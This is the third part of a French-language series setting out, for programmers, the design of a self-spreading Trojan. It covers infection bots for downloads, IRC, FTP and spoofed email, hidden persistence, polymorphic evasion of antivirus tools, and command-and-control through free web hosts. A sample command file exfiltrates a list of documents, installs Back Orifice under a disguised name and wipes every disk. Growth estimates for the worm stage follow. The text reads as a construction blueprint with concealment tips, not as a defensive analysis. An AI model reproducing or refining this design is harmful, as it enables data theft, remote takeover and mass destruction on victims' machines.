Le pire des caucherars devient réalité...
3ème partie

Troisième partie: Comment ça marche?
= = = = = = = = = = = = = = = = = = = = = = = =
Cette partie tentera d'exposer les points à prendre en compte, les spécifications techniques afin que chacun puisse comprendre la technologie qui permet de réaliser un tel software. Elle est principalement destinée aux programmeurs ou à ceux qui ont des connaissances techniques.

Infection initiale:
----------------------
-Bots de repackaging
Ce sont des robots qui downloaderont des exécutables de sites connus (Tucows, etc.) et les repackageront pour qu'ils contiennent le package. Ces robots pourront recevoir comme instruction de visiter certains serveurs plus souvent que d'autres et de télécharger certains fichiers plutôt que d'autres. Ces robots auront la capacité de décompresser des documents, de les reformater et de les recompresser.

- Bots de DCCsend
Ce sont des robots qui seront connectés à plusieurs canaux sur l'IRC et vont DDC le package à des utilisateurs qui utilisent  Mirc, le client IRC standard (de fait) de Windows. Les robots pourront être dotés d'une certaine intelligence leur permettant de convaincre les utilisateurs d'accepter le DCC. Les bots pourront être situés dans les canaux de Warez, et distribuer un programme commercial repackagé pour contenir l'IA.

- Bots FTP put
Ces robots mèneront des recherches sur le Net pour trouver des serveurs FTP avec des directories publics (writables) où ils pourront uploader le package.

- Bots de mail
Ces bots seront similaires à des programmes de mailing de masse qui enverront le package a des utilisateurs en se faisant passer pour des organisations comme Hotmail, Geocities, etc. Le package sera présenté comme un cadeau, c'est à dire un économiseur d'écran ou un éditeur HTML.

Notez que tous ces moyens de diffusion impliquent que le récipiendaire soit connecté d'une manière ou d'une autre au Net.

L'IA lui-même peut être codé de manières différentes afin qu'il y  ait des centaines de signatures différentes -ceci rendra la tâche plus compliquée pour les éditeurs d'anti-virus lorsqu'ils voudront créer un programme qui recherche une signature par le code.

Premier contact
--------------
Quand l'utilisateur/trice downloade le package, il/elle l'exécutera. Le package va déclencher le programme normal et l'IA s'exécutera. L'IA s'installera dans le système de telle façon qu'il sera déclenché à chaque démarrage. Il se déguisera en se renommant avec un nom qui n'éveillera pas les soupçons. Ce nom contiendra des des lettres choisies au hasard et ne sera pas plus long que 6 caractères. A chaque démarrage il se renommera et procédera aux modification nécessaires en prévision du prochain. Il pourrait aussi modifier la méthode de démarrage : modifier la base de registre ou le fichier win.ini.

L'IA doit être en mesure de se détecter lui-même. Cela permettra d'éviter que l'IA s'installe à chaque fois que le package est exécuté. Ceci peut être fait en "marquant" le host - cela ne révélera pas où l'IA est placé, mais juste que le host est infecté. Ce "marquage" compliquera encore plus le processus de détection car ce marquage devra être enlevé avant que le host puisse être réinfecté pour des tests.

L'IA déterminera s'il est situé dans un environnement online (il peut établir une session avec une machine sur Internet). Si une connexion directe n'est pas possible, il déterminera si un proxy est présent et utilisera ce proxy pour se connecter à Internet. Idéalement, l'IA surveillera le trafic sur le port 80 et déterminera la meilleure voie de sortie -directe ou via un proxy. Comme cela pourrait impliquer l'installation d'un driver de paquets spécifique, l'IA pourrait surveiller le chargement de CPU par différentes applications et enregistrer lorsqu'il s'agit d'utilisation de CPU par un navigateur (IE ou Netscape).

L'IA ne tentera une connexion que s'il peut déterminer de manière sure qu'il existe une connexion au Net.

L'IA disposera d'une liste de serveurs qui seront prêts à recevoir son enregistrement. Pour chaque IA, cette liste contiendra des préférences aléatoires. L'IA tentera de contacter le serveur Web par ordre décroissant. Il enverra un rapport au serveur Web de la même manière que lorsque les browsers envoient un fichier sur un serveur. Cette liste pourrait contenir jusqu'à 75 sites différents.

Le premier rapport qui sera envoyé par l'IA devrait contenir les renseignements suivants:
- Numéro de série généré par l'IA
- Nom du DNS/ IP
- Firewall, Oui/Non
- Proxies
- DHCP Oui/Non
- Information sur les interfaces (type, vitesse, etc.)
- Plate-forme (CPU, mémoire, etc.)
- Browser (I.E., Netscape)
- Mailer (Outlook, Eudora, etc.)
- Programmes enregistrés
- Nom réel d'utilisateur
- Nom d'utilisateur
- Adresse e-mail

La plupart de ces informations peuvent être extraites de la base de registres. L'IA enregistrera ce rapport dans un fichier qui aura le même nom que le numéro de série auto-généré.

L'IA tentera de télécharger sur le serveur Web un fichier appelé "compteur". Ce fichier contiendra un chiffre. Il augmentera ce chiffre et uploadera ce fichier avec le même nom. Ce fichier est, comme nous l'avons vu précédemment, un compteur qui comptabilise le nombre de hosts infectés qui ont pu contacter les serveurs. Un fichier "compteur.lock" peut être utilisé pour s'assurer que deux IA n'accèdent pas simultanément au fichier. Les IA bloqués recommenceraient plus tard.

Il est *très* important que le virus ne soit pas découvert au moment initial de l'infection. L'IA ne doit en aucun cas montrer sa présence et doit s'autodétruire plutôt que d'être repéré.

Les serveurs Web
-------------
Ce sont des serveurs Web  où les IA s'enregistreront et où ils prendront les informations nécessaires pour leur activité. Ils devront tous être accessibles par le public et seront situés là où l'on peut bénéficier d'espace gratuitement comme chez Geocities, Iname, Yahoo, pour en citer quelques uns. Plusieurs comptes devront être créés sur chaque serveur de ce type.

Les commandes "déposées" pour les IA  seront répliquées entre serveurs. Cela implique que toutes les commandes seront présentes sur tous les serveurs, afin qu'un certain IA puisse se fournir sur plusieurs serveurs (au cas où l'un d'entre eux serait fermé par un administrateur, tombé ou occupé).

Répliquer les données peut être aisément automatisé si le serveur accepte les connexions FTP. Si cela n'est pas le cas, un script PERL peut être écrit pour interroger des interfaces Web. Comme il est envisagé que le virus sera contrôlé par un groupe de personnes,un CRC checksum de tous les fichiers de commandes pourra être stocké sur les serveurs. La réplication n'aura lieu que lorsque les CRC checksums entre les serveurs ne colleront plus.

Pour éviter la détection, de faux serveurs Web peuvent être inclus dans la liste. L'IA saura que ces sites ne contiennent pas de "zone de livraison" et ne tenteront pas d'y déposer des rapports ou d'en retirer des fichiers de commandes. Le seul but de ces serveurs sera de créer une confusion afin d'égarer les fabriquants d'anti-virus lorsque l'IA sera détecté.

D'autres informations sur le format et la distribution des commandes suivront.

Activité au jour le jour de l'IA
-------------------------
Quand l'IA détecte qu'il peut ouvrir un chemin vers le serveur Web de son choix (comme expliqué dans le passage sur le "Premier contact" dans la première partie), il downloadera un fichier ".cmd". S'il ne peut le faire, il tentera de downloader un fichier appelé "general.cmd". Le premier  est un fichier qui contient des commandes spécifiques pour cet IA. L'IA déterminera et gardera trace des commandes reçues et exécutées. Il n'agira que si le fichier de commandes  contient un chiffre supérieur à celui enregistré en dernier dans son compteur interne. Le deuxième fichier est utilisé pour envoyer des commandes qui peuvent être exécutées par tous les IA. Ce seront les commandes par défaut sauf si un contrôleur a quelque chose de particulier en tête pour un host en particulier.

Un fichier compteur sera établi pour savoir combien d'IA ont effectué les commandes par défaut.

Un fichier de commandes devrait contenir les instructions suivantes:

-remove()
Enlève l'IA de la mémoire, des disques durs et de la stack IP

- mass destruct()
Détruit toutes les données et redémarre la machine

- sync (time)
Demande à l'IA d'effectuer périodiquement une commande fetch toutes les (time) minutes. L'IA ne fera toutefois cela que lorsqu'il peut le faire de manière discrète et sure.

- batch begin, batch end
Toutes les commandes batch seront exécutées comme un travail batch. Les commandes entre "begin" et "end" devraient être choisies pour rediriger leur contenu final dans un fichier (voir exemple).

- download (filename, local name)
Downloade depuis un serveur Web et sauvegarde un fichier sur le disque dur du host

- upload (local file, remote file)
Uploade le fichier sur le serveur

- update (local file)
L'IA se téléchargera et se mettra à jour lui-même. Ceci pourra être utile lorsque les fabriquants d'anti-virus auront commencé à se rendre compte du danger.

- spread (count, rate)
Voir section sur la deuxième vague d'infection

- default begin (count), default end
Les commandes entre default begin et default end seront exécutées si l'IA ne peut pas se connecter aux serveurs

Le fichier type de commandes peut bien sur être élargi pour prendre en compte des commandes typiques de B.O. Un exemple de fichier commande de l'IA pourrait ainsi être:

default begin 4
 c;mass_destruct
default end
sync 15
batch begin
 dir c:\*.doc /s > c:\dirall.docs
  upload c:\dirall.docs 16643dhas13.all_docs
  del c:\dirall.docs
  download bo.exe c:\winnt\system32\taskbar.exe
  c:\winnt\system32\taskbar.exe
batch end
spread 25000,5
END

Dans cet exemple, l'IA effacera toutes les données sur  les disques quand le contact sera perdu avec les quatre premiers serveurs de sa liste. Il tentera de downloader des fichiers de commandes toutes les 15 minutes. Il uploadera un fichier appelé 16643dhas13.all_docs contenant une liste de tous les *.doc présents sur le disque C:. Il downloadera et installera Back Orifice. La commande "spread" sera expliquée dans la partie suivante.

Notez le "END" à la fin du fichier. Si l'IA ne trouve pas le mot "END" à la fin du fichier de commandes il considérera ce fichier comme non complet et n'exécutera pas les commandes.

Avec un  peu de travail, le fichier peut être crypté. Ce qui rendra bien plus complexe les tentatives de compréhension du fonctionnement du virus. Cela permettra aussi d'éviter que les fournisseurs d'anti-virus puissent envoyer une commande qui effacerait l'IA comme "remove()".

La combinaison de la cryptographie et de la commande "default begin default end" est un concept intéressant. Si le host est présent sur le Net, il peut être contrôlé à distance. Si le site que l'IA doit contacter est fermé, le host tombe avec... les fabriquants d'anti-virus ne peuvent pas communiquer avec l'IA parce que la communication est cryptée. La seule solution pour être vraiment en sécurité est de déconnecter le host d'Internet.

Seconde vague d'infection
-------------------------
Toutes les IA qui s'enregistrent incrémentent le fichier "compteur". La commande "spread" agit sur le nombre contenu dans le fichier "compteur". Si le chiffre est trop grand une seconde vague d'infection est déclenchée à un certain rythme.

L'IA va rechercher les adresses e-mail dans les mailers . Il va extraire l'information stockée par le mailer (SMTP, gateway, adresse locale de l'utilisateur, etc.) de la base de registres ou du client mail. L'IA ne tiendra pas compte des adresses du même domaine (il n'enverra pas de message à bobby@bobby.com si le domaine local est bobby.com). Ceci permettra d'éviter qu'il ne soit trop rapidement repéré en raison d'échanges entre personnes d'une même entreprises ("tu m'as envoyé un mail avec un jeu sympa" -- "non, je ne t'ai jamais envoyé ça").

L'IA va commencer à envoyer des packages à un certain nombre de personnes chaque jour. Chaque message envoyé contiendra des objets différents (regarde ça, pour information, etc.). Le rythme d'envois peut être contrôlé via le fichier de commandes.

Imaginons que nous avons une base installée initiale de 10.000 (ce qui est très faible). Si nous partons sur un rythme d'envoi de 7 virus/cheval de Troie, nous obtenons ce qui suit:

1ère vague: 70.000
2ème vague: 490.000
3ème vague: 3.430.000
4ème vague: 24.000.000

Si l'on estime que seuls 75 des récipiendaires auront un système d'exploitation qui permet au virus/cheval de Troie de s'installer et que seuls 50% des ceux-ci exécuteront la pièce jointe, nous avons:

1ère vague: 26.250
2ème vague: 68.906
3ème vague: 180.878
4ème vague: 475.807

A ce stade, les serveurs Web auront du mal à suivre. Gardez à l'esprit que la 4ème vague peut être atteinte en quelques heures, quand un mass_destruct() pourrait être déclenché.

vers la quatrième partie: QQNNPP (Questions Que Nous Ne Devrions Pas Poser)